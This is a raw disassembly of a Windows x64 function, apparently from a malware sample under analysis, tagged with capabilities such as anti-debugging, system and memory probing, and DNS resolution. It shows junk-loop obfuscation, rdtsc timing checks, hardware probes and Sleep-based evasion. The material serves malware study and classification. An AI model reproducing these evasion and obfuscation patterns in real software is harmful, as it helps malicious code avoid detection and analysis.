Function at 0x18000100f
Capabilities:
Accept command line arguments
Execute anti-debugging instructions
Get memory capacity
Get system information on windows
Query environment variable
Resolve dns

Disassembly:
sub rsp, 0x418
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x138
sub rdx, qword [rbp - 0x4d]
sub rsp, 0xd0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetTimeZoneInformation
add rsp, 0xd0
or ecx, dword [rbp - 0x67]
mov eax, ecx
lea r9, [rbp - 0x13]
mov qword [rbp - 0x3c], r9
and r9, qword [0x180008959]
mov ecx, dword [rbp - 0x7c]
mov dword [rbp - 0x11], ecx
mov rdx, qword [rbp - 0x56]
lea rcx, [rbp - 0x4d]
and rdx, 0x3a4d
add edx, dword [0x180008959]
mov rdx, qword [rbp - 0xfe]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [rbp - 0x8b], ecx
sub rsp, 0x70
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x70
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x60
mov dword [rbp - 0xae], eax
add ecx, dword [rbp - 0x76]
add rax, 0xfef4
test rax, 0xffffffffabe47ee6
jne 0x1800013e5
mov qword [rbp - 0x64], rcx
mov dword [rbp - 0xdf], ecx
sub dword [rbp - 0xf2], eax
mov edx, ecx
mov ecx, 0x6214
mov eax, dword [rbp - 0x27]
mov r9, 0x17c8
mov ecx, dword [rbp - 0x12b]
mov eax, dword [rbp - 0x1a]
mov dword [rbp - 0x128], eax
lea rax, [rbp - 0x3f]
mov edx, 0xc067
movzx ecx, cl
movzx ecx, ah
movzx edx, dh
movzx ecx, al
add eax, dword [rbp - 0x1d]
mov rax, rcx
mov eax, edx
mov qword [rbp - 0xb2], r8
mov qword [rbp - 0x38], r9
call sub.KERNEL32.dll_GetErrorMode
mov qword [rbp - 0x69], rax
or rdx, qword [rbp - 0x114]
mov edx, 0x27cb
mov r10, rdx
lea rdx, [rbp - 0xee]
xor rcx, qword [rbp - 0xf7]
or rdx, qword [rbp - 0x67]
mov qword [0x18000895b], r10
mov dword [rbp - 0x10a], eax
lea r10, [rbp - 0x9a]
mov cx, word [rbp - 0x17]
mov rcx, qword [rbp - 0xac]
mov qword [rbp - 0x32], rax
mov qword [rbp - 0x1a], r11
mov ecx, dword [rbp - 0xa7]
mov edx, dword [rbp - 0x64]
mov eax, dword [0x180008951]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000120a
and dword [rbp - 0x10], ecx
mov qword [rbp - 0xed], r8
mov qword [rbp - 0xbc], rax
mov eax, 0xf4e0
mov dword [rbp - 0x64], ecx
sub r8, r10
mov dword [0x180008956], eax
lea r10, [rbp - 0x118]
mov r11, 0xbc75
mov r10, qword [rbp - 0x101]
mov r9, qword [rbp - 0xa1]
mov dword [rbp - 0x120], ecx
mov rdx, qword [rbp - 0xf]
add ecx, 0x626f
mov dword [rbp - 0xfc], eax
sub eax, 0x226d
mov ecx, dword [rbp - 0xe9]
mov qword [rbp - 0xb], r8
mov edx, ecx
sub edx, eax
or eax, 0x548b
mov r9, rdx
sub rax, qword [rbp - 0xb6]
sub eax, 0x651f
inc qword [rsp]
cmp qword [rsp], 0x80dc
jle 0x18000118b
add rsp, 0x10
add rcx, rdx
add dword [rbp - 0xf7], edx
mov ecx, dword [rbp - 0x125]
mov eax, dword [0x180008950]
mov edx, eax
mov ecx, dword [rbp - 0x3c]
movzx edx, dl
movzx edx, dh
add rax, 0x36b5
mov dword [rbp - 0x114], eax
and rax, 0x2af6
sub dword [rbp - 0xda], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000130f
xor eax, dword [rbp - 0x10b]
mov r10, qword [rbp - 0x62]
mov eax, edx
add rcx, 0xe8d1
sub rcx, qword [rbp - 0x70]
mov r10, rax
mov r11, qword [rbp - 0x30]
xor dword [rbp - 0xcc], edx
xor r9, 0x21da
or dword [rbp - 0xa2], ecx
mov qword [rbp - 0xa9], rdx
mov rcx, r10
mov eax, edx
mov r8, qword [0x18000894f]
mov ecx, dword [rbp - 0x1c]
add rdx, qword [rbp - 0x4e]
mov eax, dword [rbp - 0x4a]
mov qword [rbp - 0x48], r9
mov ecx, dword [rbp - 0x67]
sub edx, dword [rbp - 0xd4]
movzx eax, dl
add r10, r8
mov qword [rbp - 0x12f], rcx
sub ecx, edx
mov rcx, rax
mov eax, dword [rbp - 0x39]
mov rcx, rdx
sub eax, 0xa812
mov dword [0x180008954], eax
mov dword [0x180008955], ecx
xor ecx, dword [rbp - 0x42]
mov r11, qword [rbp - 0xa9]
or r10, qword [rbp - 0x91]
sub qword [rbp - 0xcb], r9
mov r8, qword [rbp - 0x111]
sub ecx, dword [rbp - 0x57]
inc qword [rsp]
mov ecx, 0x47ff
cmp ecx, dword [rsp]
jl 0x180001265
add rsp, 0x10
add edx, dword [rbp - 0xb5]
mov qword [rbp - 0x74], r9
mov qword [0x180008957], rdx
sub rsp, 0xd0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetTimeZoneInformation
add rsp, 0xd0
mov rcx, 2
call sub.USER32.dll_GetSystemMetrics
mov r10, rcx
sub ecx, 0x59dc
mov ecx, dword [rbp - 0xef]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800013d4
sub rcx, 0x42cd
mov edx, dword [rbp - 0xdc]
mov edx, 0x1d2c
xor qword [rbp - 0x77], rax
mov eax, dword [0x180008951]
mov ecx, 0xa00f
sub ecx, eax
mov r8, qword [0x180008958]
or eax, 0xe9f5
lea r8, [rbp - 0x80]
sub r10, qword [rbp - 0xea]
mov rax, qword [rbp - 0x118]
mov edx, eax
mov r11, qword [rbp - 0x72]
mov eax, dword [rbp - 0x29]
mov dword [rbp - 0x84], ecx
mov r9, qword [rbp - 0x28]
mov eax, ecx
mov qword [rbp - 0xd1], r11
inc qword [rsp]
mov r9, 0x554a
cmp qword [rsp], r9
jle 0x180001373
add rsp, 0x10
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x18000881c]
push rbp
mov rbp, rsp
sub rsp, 0x2e8
movzx eax, al
xor dword [rbp - 0x6f], edx
lea rdx, [rbp - 0x1fc]
add rax, qword [rbp - 0x80]
movzx edx, ch
mov eax, edx
mov qword [rbp - 0x15a], r11
sub r11, qword [rbp - 0x5b]
sub dword [rbp - 0xb2], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001452
mov edx, dword [rbp - 0x1ae]
sub ecx, dword [0x180008954]
sub r8, qword [rbp - 0x20a]
add edx, eax
inc qword [rsp]
cmp qword [rsp], 0xaf4a
jle 0x180001439
add rsp, 0x10
sub dword [rbp - 0x1bc], ecx
and ecx, dword [rbp - 0x260]
mov edx, dword [0x18000894f]
mov dword [rbp - 0x11f], eax
mov qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800014ba
or rdx, qword [rbp - 0x5a]
sub qword [rbp - 0x206], r11
add r10, qword [rbp - 0x154]
mov qword [rbp - 0x5a], rdx
xor r10, qword [rbp - 0xd1]
mov dword [rbp - 0x11c], ecx
mov eax, dword [rbp - 0xd9]
inc qword [rsp]
cmp qword [rsp], 0x1068
jle 0x18000148d
add rsp, 0x10
sub ecx, 0x65d7
or dword [rbp - 0x2e], edx
mov edx, eax
mov dword [rbp - 0x24c], edx
cmp edx, eax
je 0x1800016d3
mov eax, ecx
mov r8, qword [rbp - 0x3a]
mov rdx, qword [rbp - 0x216]
sub dword [rbp - 0x19d], ecx
mov edx, dword [rbp - 0x78]
and edx, eax
movzx edx, dh
mov edx, dword [rbp - 0x84]
or r11, 0x7cfb
mov edx, dword [rbp - 0x2e]
call sub.KERNEL32.dll_GetErrorMode
mov eax, dword [rbp - 0xc2]
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
add rsp, 0x60
mov qword [rbp - 0x7f], r9
and r8, rax
sub rsp, 0x40
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemTime
add rsp, 0x40
mov r11, r10
mov qword [rbp - 0x1d3], r8
mov r9, qword [rbp - 0x288]
mov dword [rbp - 0x3c], eax
and eax, dword [rbp - 0x23]
mov dword [rbp - 0x3a], eax
xor r8, qword [rbp - 0x24c]
mov rdx, qword [rbp - 0x1ba]
sub rcx, qword [rbp - 0x25b]
mov eax, edx
sub rcx, qword [rbp - 0x32]
sub rcx, r11
and r9, qword [rbp - 0x2a4]
add eax, 0x31bb
mov edx, ecx
mov dword [rbp - 0x1a9], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001639
xor edx, dword [rbp - 0x84]
mov edx, dword [rbp - 0x281]
movzx ecx, cx
or edx, dword [rbp - 0x279]
mov edx, dword [rbp - 0x1b]
mov qword [rbp - 0x4c], rdx
add edx, dword [rbp - 0x221]
mov edx, dword [rbp - 2]
sub eax, ecx
and dword [0x180008951], edx
mov dword [rbp - 0x18b], edx
sub word [rbp - 0x179], ax
mov ecx, dword [rbp - 0xf5]
movzx eax, ah
mov dword [rbp - 0x1f5], eax
xor qword [rbp - 0x214], r11
mov dword [rbp - 0xa3], ecx
mov r10, rcx
mov eax, edx
xor qword [rbp - 0x175], r11
sub edx, 0xcd5a
xor eax, 0x1b74
mov eax, ecx
mov dword [rbp - 0x2bb], ecx
sub edx, dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
sub edx, 0xe03b
or qword [rbp - 0x72], rax
mov r9, qword [rbp - 0x218]
mov dword [rbp - 0x73], edx
mov qword [rbp - 0x2bf], r9
inc qword [rsp]
cmp qword [rsp], 0xca9a
jle 0x18000159f
add rsp, 0x10
or eax, 0x3e2e
xor qword [rbp - 0x21d], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001682
mov ecx, edx
mov eax, dword [rbp - 0xa0]
add r11, qword [rbp - 0xc8]
movzx eax, ah
mov qword [rbp - 0x25d], r11
inc qword [rsp]
mov edx, 0x5c88
cmp edx, dword [rsp]
jl 0x180001665
add rsp, 0x10
mov dword [rbp - 0x1bb], eax
mov r8, rcx
mov rcx, r8
mov qword [rbp - 0x175], rax
sub rdx, 0x33fb
mov r9, qword [rbp - 0x10f]
sub rdx, r10
mov r8, qword [rbp - 0xe9]
mov rcx, r9
mov r11, qword [rbp - 0xde]
mov r8, qword [rbp - 0x220]
add qword [rbp - 0x161], r9
mov dword [rbp - 0x9e], ecx
and dword [rbp - 0xc6], edx
mov dword [rbp - 0x18c], ecx
mov dx, cx
mov ax, word [rbp - 0x115]
call sub.KERNEL32.dll_GetCommandLineA
sub edx, ecx
movzx ecx, al
mov dword [rbp - 0xd2], edx
mov edx, eax
and dx, cx
add eax, dword [rbp - 0x4f]
movzx edx, dh
mov rdx, qword [rbp - 0x2dd]
call sub.KERNEL32.dll_GetErrorMode
cmp r9, r10
je 0x18000179a
call sub.KERNEL32.dll_GetProcessHeap
mov dword [rbp - 0x268], eax
or r8, 0x6f0c
movzx edx, dh
mov ecx, dword [rbp - 0xde]
mov edx, dword [rbp - 0x245]
add qword [rbp - 0x261], r10
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x60
mov r9, rcx
add dword [0x180008959], ecx
movzx edx, ah
lea rcx, [0x180008a7f]
call sub.KERNEL32.dll_GetModuleHandleA
mov r11, qword [0x18000894d]
and eax, dword [rbp - 0x1a2]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000178c
inc qword [rsp]
mov edx, 0xa3b0
cmp edx, dword [rsp]
jl 0x180001788
add rsp, 0x10
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x2c8
sub rsp, 0x70
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GlobalMemoryStatus
add rsp, 0x70
cmp edx, 0x4db15d5
jne 0x1800017e1
call sub.KERNEL32.dll_GetCommandLineW
lea r11, [rbp - 0x19d]
movzx edx, al
mov dword [rbp - 0xfc], ecx
mov r9, qword [rbp - 0x149]
mov ecx, 0xbff3
mov dword [rbp - 0x288], edx
movzx ecx, byte [0x180008950]
mov r10, r8
cmp rdx, 0xffffffff82287db0
je 0x18000182d
mov edx, ecx
call sub.USER32.dll_GetDesktopWindow
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000181f
inc qword [rsp]
cmp qword [rsp], 0x2f03
jle 0x18000181b
add rsp, 0x10
mov qword [rbp - 0x2a1], r10
cmp edx, dword [0x180008957]
je 0x1800018b1
mov r8, qword [rbp - 6]
mov r9, r11
sub qword [rbp - 0x28b], r9
movzx edx, byte [rbp - 0x7e]
mov rdx, r8
or dword [rbp - 0xab], ecx
mov rax, qword [rbp - 0x2a2]
mov qword [rbp - 0x13f], r9
mov r10, qword [0x180008953]
mov qword [rbp - 0x16e], r8
call sub.KERNEL32.dll_GetTickCount64
movzx ecx, byte [0x18000894f]
and dword [rbp - 0xbe], edx
mov rdx, qword [0x180008956]
mov r9, rcx
or qword [0x18000894f], rcx
add qword [rbp - 0x1ae], r11
xor qword [rbp - 0x252], r8
mov r10, qword [rbp - 0x201]
mov ecx, dword [rbp - 0x20b]
mov r10, 0x1db7
mov eax, dword [rbp - 0x18a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001934
mov edx, dword [0x18000895a]
add qword [rbp - 0x15d], rcx
lea rcx, [rbp - 0xb4]
add rcx, 0xfe54
mov edx, 0x3334
and ecx, dword [rbp - 0x1fc]
mov eax, dword [rbp - 0x5c]
mov qword [rbp - 0x24b], r10
and qword [rbp - 0x192], rdx
mov qword [rbp - 9], rdx
mov r10, qword [rbp - 0x41]
mov qword [rbp - 0xb4], rdx
mov rax, qword [rbp - 0x20e]
mov ecx, dword [rbp - 0x60]
mov dword [rbp - 0x187], ecx
mov rax, qword [rbp - 0x212]
mov r8, 0xb71c
inc qword [rsp]
cmp qword [rsp], 0xe100
jle 0x1800018cc
add rsp, 0x10
mov dword [rbp - 0x109], eax
mov eax, ecx
and qword [rbp - 0x297], r8
mov dword [rbp - 0x92], edx
mov ecx, edx
lea r9, [rbp - 0x1bc]
mov rax, rcx
mov dword [rbp - 0x4f], eax
mov edx, dword [rbp - 0x167]
mov qword [rbp - 0x25b], r11
xor r9, qword [rbp - 0x209]
mov qword [rbp - 0xe6], r10
call sub.USER32.dll_GetFocus
mov eax, dword [rbp - 0xcf]
mov qword [rbp - 0x54], r8
movzx edx, al
lea r11, [rbp - 0xd0]
mov dword [rbp - 0x1f5], eax
mov dword [rbp - 0x290], ecx
mov ecx, edx
movzx edx, ch
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001a1f
mov eax, dword [rbp - 0x25e]
mov qword [rbp - 0x8d], r9
add rdx, 0x770d
or dword [rbp - 0x13f], ecx
mov rdx, qword [rbp - 0x105]
movzx edx, byte [rbp - 2]
mov eax, dword [rbp - 0xae]
mov rdx, rcx
xor edx, ecx
or rdx, qword [0x180008950]
add ecx, 0xfb7c
movzx ecx, word [rbp - 0x1cf]
mov edx, dword [rbp - 0x13e]
mov dword [rbp - 0x113], edx
mov dword [0x18000895b], edx
mov dword [0x180008953], edx
and eax, dword [0x180008955]
inc qword [rsp]
mov ecx, 0x34dc
cmp ecx, dword [rsp]
jl 0x1800019b9
add rsp, 0x10
mov dword [rbp - 0x21f], ecx
lea rax, [0x180008959]
add dword [rbp - 0x9c], ecx
mov r8, qword [rbp - 0x201]
cmp r11, 0x33d84054
jb 0x180001b23
mov eax, ecx
sub r10, qword [rbp - 0x282]
mov ecx, dword [rbp - 0x18e]
mov r10, qword [rbp - 0x14e]
add qword [rbp - 0x135], rdx
mov qword [rbp - 0x101], r11
sub rdx, r8
movzx edx, ah
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001aab
and edx, dword [rbp - 0x2b2]
and edx, dword [rbp - 0x13c]
sub rdx, 0xf421
mov eax, dword [rbp - 0x137]
mov edx, ecx
inc qword [rsp]
cmp qword [rsp], 0xc229
jle 0x180001a8c
add rsp, 0x10
add ecx, 0x9f89
movzx eax, al
mov r9, qword [rbp - 0x1ff]
lea rcx, [0x180008977]
call sub.msvcrt.dll_getenv
mov dword [rbp - 0xfe], edx
sub ecx, 0x3216
mov ecx, dword [rbp - 0xf1]
mov dword [rbp - 0x270], edx
mov r11, qword [rbp - 0xb6]
mov rcx, 0x1146
or qword [rbp - 0x2ac], rax
movzx eax, cl
mov ecx, eax
mov edx, dword [0x180008955]
mov r8, qword [rbp - 0x22a]
or rax, rcx
movzx eax, ch
or rax, 0x2ca0
movzx ecx, dx
mov dword [0x180008950], edx
mov r11, qword [rbp - 0x1b4]
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x1800013f9
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x180008808]
movabs r12, 0x7da222965f6e2e4
call fcn.180004acf
push rbp
mov rbp, rsp
sub rsp, 0x48
sub r11, qword [rbp - 0x1f]
mov r9, qword [rbp - 0x2f]
mov dword [rbp - 0x35], ecx
add r10, r9
mov qword [rbp - 0xe], r10
and rcx, qword [rbp - 0x20]
add dword [rbp - 0x24], eax
mov qword [rbp - 0x14], r10
add dword [rbp - 0x1e], edx
mov r8, r10
and ecx, dword [rbp - 0x34]
mov ecx, dword [rbp - 0xe]
mov rdx, 0x31bc
mov r10, 0xc99d
mov r11, qword [rbp - 0x25]
and rax, r9
lea rcx, [rbp - 0x2a]
or r8, qword [rbp - 0xc]
mov ecx, dword [rbp - 0x3d]
mov rax, qword [rbp - 6]
mov qword [rbp - 0xf], rdx
sub r11, qword [rbp - 0x16]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001c39
mov ecx, eax
mov edx, 0xce93
add ah, byte [rbp - 0x21]
and rdx, qword [rbp - 0x1c]
lea rax, [rbp - 0xa]
and dword [rbp - 0x3f], eax
sub ecx, 0x8a4a
sub qword [rbp - 0x25], rcx
mov ecx, dword [0x180008950]
mov qword [rbp - 0x15], rcx
mov qword [rbp - 0x18], r10
lea rax, [rbp - 0x2a]
xor dword [rbp - 0x3c], edx
mov r9, qword [rbp - 0x34]
mov eax, 0xaa4e
mov eax, dword [rbp - 0xa]
add ecx, 0x8572
mov edx, ecx
mov r10, r11
mov rdx, rax
and r9, 0x7e9f
and eax, edx
mov ecx, dword [rbp - 0x1f]
mov dword [rbp - 0x27], edx
mov al, 0xef
sub dword [rbp - 0x11], edx
inc qword [rsp]
cmp qword [rsp], 0xfac
jle 0x180001bd3
add rsp, 0x10
sub r9, qword [0x180008955]
mov edx, 8
add r11, qword [rbp - 0x1d]
movzx edx, dh
add r9, qword [rbp - 0x32]
mov dword [rbp - 0xc], edx
mov rcx, qword [0x180008952]
or eax, 0xcd95
mov ax, dx
lea r11, [rbp - 0xd]
mov r8, qword [rbp - 0x25]
mov dword [rbp - 0x26], ecx
leave
call fcn.180005ab6
push r12
push rbp
mov rbp, rsp
sub rsp, 0x168
sub qword [rbp - 0xe0], rcx
mov dword [rbp - 0xa3], eax
mov r12, qword [rbp - 0xba]
movzx ecx, byte [rbp - 0x10c]
mov dword [rbp - 0x117], ecx
movzx eax, dx
mov qword [rbp - 0x8f], rdx
cmp eax, dword [0x180008956]
je 0x180001d1b
mov dword [rbp - 0x87], edx
movzx eax, ax
xor r9, qword [rbp - 0x27]
mov eax, ecx
mov dword [rbp - 0x145], edx
mov dword [rbp - 0x97], edx
mov ecx, dword [rbp - 0xd9]
mov edx, 0x2a2f
mov r10, qword [rbp - 0x15a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001d02
mov edx, eax
inc qword [rsp]
mov edx, 0xf3d3
cmp edx, dword [rsp]
jl 0x180001cfc
add rsp, 0x10
mov qword [rbp - 0x69], r10
sub qword [rbp - 0x152], rcx
or r12, qword [rbp - 0x89]
mov r8, qword [rbp - 0x12f]
mov qword [rbp - 0xfb], r11
sub ecx, dword [rbp - 0x131]
sub qword [rbp - 0x7a], rdx
mov qword [rbp - 0x3c], rcx
mov ecx, dword [rbp - 0xed]
add dword [rbp - 0xf8], ecx
sub edx, 0x6f35
cmp r12, r8
jns 0x180001e2a
add dword [rbp - 0x141], edx
add dword [0x18000894d], edx
xor qword [rbp - 0x116], r10
mov edx, ecx
mov qword [rbp - 0x6b], r9
movzx edx, cx
xor r12, 0x2f07
mov r10, qword [rbp - 0x2d]
mov dword [rbp - 0xac], edx
mov qword [0x180008955], rdx
mov ecx, dword [rbp - 0xcb]
cmp r8, 0xffffffff81ceedaf
jns 0x180001e2a
mov cx, word [rbp - 0x148]
mov ecx, dword [rbp - 0xa3]
xor r10, r11
mov r10, 0x9abe
add r9, 0xf237
sub rax, 0xfd6
and r8, 0xfb47
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001e1c
mov qword [rbp - 0x126], rax
mov r12, qword [rbp - 0x5d]
lea rdx, [rbp - 0x3e]
lea r12, [rbp - 0x104]
xor ecx, 0xd5b4
lea r10, [rbp - 0x64]
mov r8, 0x277d
mov qword [rbp - 0x5e], r8
add r9, 0x6d44
mov dword [rbp - 0x108], edx
mov r12, qword [rbp - 0x10a]
inc qword [rsp]
cmp qword [rsp], 0x423a
jle 0x180001dd9
add rsp, 0x10
leave
pop r12
push rbp
mov rbp, rsp
sub rsp, 0x3e8
mov eax, dword [rbp - 0x389]
mov qword [rbp - 0x25e], r10
mov r10, qword [rbp - 0x18d]
mov r8, 0xa705
sub ecx, dword [rbp - 0x34c]
and dword [0x18000895b], edx
sub rcx, qword [rbp - 0x271]
xor eax, ecx
mov dword [rbp - 0x192], ecx
cmp r10, 0x5d7a9372
je 0x180001fae
movzx eax, byte [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
add rax, rdx
sub dword [rbp - 0xb7], ecx
mov dword [rbp - 0x2b9], ecx
mov edx, dword [rbp - 0x3ae]
mov dword [rbp - 0x3ca], ecx
mov eax, dword [rbp - 0x2fd]
and qword [rbp - 0x3a], r10
sub dword [rbp - 0xf6], ecx
and edx, ecx
add ecx, 0x3da2
mov qword [0x18000894d], rax
add edx, 0xb374
mov eax, edx
cmp rcx, r9
jne 0x180001fae
mov qword [rbp - 0x2a1], rdx
movzx eax, al
sub qword [rbp - 0x122], r8
or dword [rbp - 0x365], ecx
mov eax, edx
mov edx, eax
or eax, dword [rbp - 0xdd]
mov word [rbp - 0x375], cx
mov byte [rbp - 0x89], ch
mov edx, eax
xor rcx, r9
mov eax, edx
mov dword [rbp - 0x69], ecx
and cl, al
mov r10, qword [rbp - 0x161]
add dword [rbp - 0x1db], edx
mov r9, 0x366a
or r11, qword [rbp - 0x17e]
mov dword [0x18000894f], edx
add dword [rbp - 0x12], eax
mov rax, qword [rbp - 0xa7]
movzx edx, ch
movzx edx, dx
mov r8, r11
mov qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4], r10
and r11, r8
mov eax, edx
mov r10, rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001f9d
mov rdx, r8
add qword [rbp - 0x1a8], r10
mov eax, edx
sub eax, dword [rbp - 0x36c]
sub dword [rbp - 0x170], ecx
mov r8, qword [0x180008952]
sub eax, ecx
mov ecx, edx
mov qword [rbp - 0xe7], r9
mov qword [rbp - 0x231], r11
mov qword [rbp - 0x379], r9
sub rax, r11
mov dword [0x180008955], edx
inc qword [rsp]
mov r9, 0x6d92
cmp qword [rsp], r9
jle 0x180001f58
add rsp, 0x10
leave
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x18000887c]
call rax
test eax, eax
jne 0x180004728
push rbp
mov rbp, rsp
sub rsp, 0xa8
or ecx, edx
and r9, rcx
mov rcx, qword [rbp - 0x84]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002003
sub qword [rbp - 0x11], r11
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x33], rax
movzx edx, ah
inc qword [rsp]
cmp qword [rsp], 0x8312
jle 0x180001ff0
add rsp, 0x10
add edx, dword [rbp - 0x68]
sub edx, 0xc0d7
mov qword [rbp - 0x5d], r11
or eax, dword [rbp - 0x44]
mov r11, r8
cmp edx, 0xaeaed2de
je 0x1800020fb
mov qword [rbp - 0x51], rcx
movzx ecx, ch
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000207b
sub qword [rbp - 0x85], r8
mov qword [rbp - 0x21], rax
mov eax, dword [rbp - 0x75]
mov rcx, qword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov cl, ah
mov byte [rbp - 0x2f], dh
mov r10, qword [0x18000895b]
mov ecx, eax
and rdx, rcx
xor r10, qword [0x18000894d]
mov eax, 0x5777
inc qword [rsp]
mov ecx, 0x663e
cmp ecx, dword [rsp]
jl 0x180002045
add rsp, 0x10
mov r10, r9
mov eax, edx
xor edx, dword [rbp - 0x8b]
mov qword [rbp - 0x24], rdx
add r8, qword [rbp - 0x9e]
mov rdx, rcx
mov edx, dword [0x18000894d]
movzx eax, dh
sub qword [rbp - 0x25], rdx
or r11, 0xee2b
add ecx, dword [rbp - 0x41]
add edx, dword [rbp - 0x92]
movzx ecx, cl
mov qword [rbp - 0x6a], rdx
mov qword [rbp - 0x8a], r10
and qword [rbp - 0x21], r10
mov eax, dword [rbp - 0x9e]
mov rcx, 0x38c4
movzx eax, ch
mov dx, cx
mov qword [rbp - 0x43], r11
mov ecx, eax
mov eax, edx
mov dword [rbp - 0x4a], eax
add rcx, 0x8ecf
sub edx, ecx
mov dword [rbp - 0xa], ecx
leave
rdtsc
mov dword [0x180008125], eax
push rbp
mov rbp, rsp
sub rsp, 0x4e8
xor r11, qword [rbp - 0x466]
mov r8, r9
lea r11, [rbp - 0x3af]
mov ecx, eax
mov edx, dword [rbp - 0x380]
mov r9, rcx
and dword [rbp - 0x247], eax
cmp r8, r11
jne 0x1800021e7
movzx eax, ch
sub qword [0x18000894f], r10
mov r11, qword [rbp - 0x9c]
movzx edx, dx
add r9, qword [rbp - 0x330]
sub eax, dword [rbp - 0x40a]
movzx edx, ch
mov dword [rbp - 0x487], edx
mov qword [rbp - 0x23a], r9
mov rdx, qword [rbp - 0x198]
mov ecx, eax
mov qword [rbp - 0x419], r11
mov r8, qword [rbp - 0x44f]
movzx ecx, cl
mov qword [rbp - 0x1a1], r10
add r11, qword [rbp - 0x33b]
and edx, dword [rbp - 0x150]
mov r10, qword [rbp - 0x358]
add ecx, dword [rbp - 0x38c]
lea r11, [rbp - 0x1a4]
mov eax, ecx
sub r11, rcx
and r8, qword [rbp - 0x365]
mov dword [rbp - 0x269], edx
mov r10, 0xa367
mov ax, word [rbp - 0x26d]
mov cx, word [rbp - 0x342]
add dword [rbp - 0x4c3], edx
mov dword [rbp - 0x268], ecx
add r9, 0x45a8
add rcx, 0xfe6e
mov dword [0x180008954], ecx
movzx ecx, word [0x18000894e]
mov r10, rax
mov qword [0x18000895a], rdx
mov dword [rbp - 0x172], eax
sub ecx, eax
mov qword [rbp - 0x23d], rdx
add rcx, qword [rbp - 0x30b]
movzx ecx, ah
mov ecx, dword [rbp - 0x3c1]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000223d
sub r10, 0x82c8
inc qword [rsp]
mov edx, 0xf6bc
cmp edx, dword [rsp]
jl 0x180002232
add rsp, 0x10
leave
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push r12
push r15
push rdi
push r13
push r14
push rsi
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x58
mov edi, dword [rbp - 0x14]
and ecx, dword [rbp - 0x16]
sub ecx, esi
mov r10, r15
add dword [rbp - 0x21], edi
or qword [rbp - 0xc], rdx
movzx ebx, bh
mov rbx, qword [rbp - 0x3b]
mov rax, qword [rbp - 0x33]
mov qword [0x180008959], r9
mov ebx, dword [rbp - 0x19]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800022d3
xor dword [rbp - 0x39], edi
mov ebx, dword [rbp - 0x2c]
movzx edi, cl
movzx eax, byte [rbp - 0x48]
mov r15, rax
mov qword [rbp - 0x15], r12
sub edi, 0x36aa
and r15, rsi
inc qword [rsp]
cmp qword [rsp], 0xa0cc
jle 0x1800022b2
add rsp, 0x10
mov bx, 0x5a06
or r11, r8
sub ebx, dword [0x18000894e]
mov dword [rbp - 5], edx
add qword [rbp - 0x27], rsi
mov ecx, dword [rbp - 0x45]
add r14, qword [rbp - 0x2d]
and r14, r10
sub eax, dword [rbp - 0x49]
sub esi, dword [rbp - 3]
movzx eax, cx
mov rax, qword [rbp - 0x20]
cmp esi, 0xe6a99977
je 0x180002324
mov qword [rbp - 0x24], r9
mov dword [rbp - 0x36], edx
sub r15, r13
mov r15, rdx
add rsi, rax
add dword [rbp - 0x1a], eax
mov dword [0x180008954], eax
mov rdx, qword [rbp - 0x4b]
sub r13, 0x8a4b
movzx ecx, byte [rbp - 0x44]
add qword [rbp - 0x29], r15
mov ecx, edx
mov qword [rbp - 0x3d], rsi
mov edx, dword [0x180008958]
add ebx, dword [rbp - 0x25]
